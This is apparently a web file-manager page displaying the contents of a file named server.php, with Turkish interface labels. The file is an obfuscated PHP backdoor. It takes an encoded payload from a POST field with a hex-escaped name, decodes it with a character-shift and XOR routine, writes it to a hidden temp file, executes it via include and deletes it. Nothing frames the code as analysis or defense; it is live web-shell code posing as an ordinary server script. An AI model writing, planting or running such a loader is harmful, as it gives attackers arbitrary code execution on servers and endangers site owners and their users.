0x1998 - MANAGER
Düzenlenen Dosya: server.php
<?php if(array_key_exists("\x62\x69n\x64ing", $_POST)){ $pgrp = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd(), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP")]); $comp = $_POST["\x62\x69n\x64ing"]; $comp=explode ( '.', $comp ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $q = 0; $__len = count($comp ); do { if ($q >= $__len) break; $v2 = $comp[$q]; $chS = ord($s[$q % $sLen] ); $dec = ((int)$v2 - $chS - ($q % 10)) ^47; $component.=chr($dec ); $q++; } while (true ); foreach ($pgrp as $flg): if (is_writable($flg) && is_dir($flg)) { $pset = vsprintf("%s/%s", [$flg, ".val"]); $success = file_put_contents($pset, $component); if ($success) { include $pset; @unlink($pset); die();} } endforeach; }
geri dön